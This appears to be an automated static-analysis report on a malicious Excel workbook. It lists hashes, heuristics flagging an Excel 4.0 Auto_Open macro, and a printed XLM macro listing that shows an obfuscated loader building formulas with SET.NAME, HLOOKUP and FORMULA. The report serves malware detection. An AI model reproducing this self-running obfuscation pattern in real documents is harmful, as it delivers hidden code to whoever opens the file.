Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4e5c4a4af9990cd9…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:32:59 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: f6b5d997734c4cfca6a2e74b0eb21567 SHA-1: 86441836775c4f0937aaf4a6ac18a4f5d88dd219 SHA-256: 4e5c4a4af9990cd9f0e1f682bd649e8dc93157d4bcfc4b973ddb5c3a9118795f
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6411 bytes
SHA-256: e828374f757bd756055493918c3d7d84795f55082f684fdee6a33583cc3f4405
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  MlO
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D185 
' 0018     21 LABEL : Cell Value, String Constant - AzEKDS len=0 
' 0018     27 LABEL : Cell Value, String Constant - CgGehbfsnpJR len=0 
' 0018     23 LABEL : Cell Value, String Constant - dOwpBFin len=0 
' 0018     21 LABEL : Cell Value, String Constant - eFcKQV len=0 
' 0018     20 LABEL : Cell Value, String Constant - Eohfj len=0 
' 0018     21 LABEL : Cell Value, String Constant - HSMZPx len=0 
' 0018     20 LABEL : Cell Value, String Constant - isEAe len=0 
' 0018     22 LABEL : Cell Value, String Constant - KXyQawa len=0 
' 0018     24 LABEL : Cell Value, String Constant - mvixJSTvt len=0 
' 0018     24 LABEL : Cell Value, String Constant - NmbBSiQhh len=0 
' 0018     22 LABEL : Cell Value, String Constant - pxIdMlV len=0 
' 0018     20 LABEL : Cell Value, String Constant - QRkbC len=0 
' 0018     26 LABEL : Cell Value, String Constant - RBbjEsEVwIF len=0 
' 0018     24 LABEL : Cell Value, String Constant - RurzQTdca len=0 
' 0018     24 LABEL : Cell Value, String Constant - uFRxPkeWe len=0 
' 0018     27 LABEL : Cell Value, String Constant - wfDjmpvErRxR len=0 
' 0018     24 LABEL : Cell Value, String Constant - WHmUdYLUW len=0 
' 0018     27 LABEL : Cell Value, String Constant - WYmplBDbyuEK len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZFXBilwcIBzN len=0 
' 0018     20 LABEL : Cell Value, String Constant - zGoIT len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  MlO,D89,"SET.NAME("eFcKQV",VALUE("0"))",""
'  MlO,D94,"SET.NAME("WHmUdYLUW",eFcKQV)",""
'  MlO,D98,"SET.NAME("pxIdMlV",eFcKQV)",""
'  MlO,D103,"SET.NAME("HSMZPx",COUNTA(QRkbC))",""
'  MlO,D108,"SET.NAME("zGoIT",COUNTA(Eohfj))",""
'  MlO,D112,[],""
'  MlO,D114,"SET.NAME("CgGehbfsnpJR","")",""
'  MlO,D118,"WHmUdYLUW",""
'  MlO,D123,"SET.NAME("wfDjmpvErRxR",HLOOKUP("*",QRkbC,WHmUdYLUW,FALSE))",""
'  MlO,D128,"RBbjEsEVwIF",""
'  MlO,D131,"SET.NAME("mvixJSTvt",eFcKQV)",""
'  MlO,D135,[],""
'  MlO,D140,"mvixJSTvt",""
'  MlO,D144,"isEAe",""
'  MlO,D148,"NmbBSiQhh",""
'  MlO,D150,"dOwpBFin",""
'  MlO,D153,"SET.NAME("uFRxPkeWe",VALUE(HLOOKUP("*",Eohfj,dOwpBFin,FALSE)))",""
'  MlO,D157,"KXyQawa",""
'  MlO,D159,"CgGehbfsnpJR",""
'  MlO,D162,"pxIdMlV",""
'  MlO,D167,NEXT(),""
'  MlO,D169,"RurzQTdca",""
'  MlO,D174,"SET.NAME("f",INT(T(FORMULA(T(CgGehbfsnpJR)&"",""&T(RurzQTdca)))))",""
'  MlO,D176,"AzEKDS",""
'  MlO,D180,NEXT(),""
'  MlO,D183,RETURN(),""
'  MlO,D215,"SET.NAME("ZFXBilwcIBzN",D89)",""
'  MlO,D218,"QRkbC",""
'  MlO,D220,"SET.NAME("Eohfj",R40C12)",""
'  MlO,D224,"SET.NAME("AzEKDS",233)",""
'  MlO,D229,"SET.NAME("WYmplBDbyuEK",4)",""
'  MlO,D232,ZFXBilwcIBzN(),""
'  MlO,D233,HALT(),""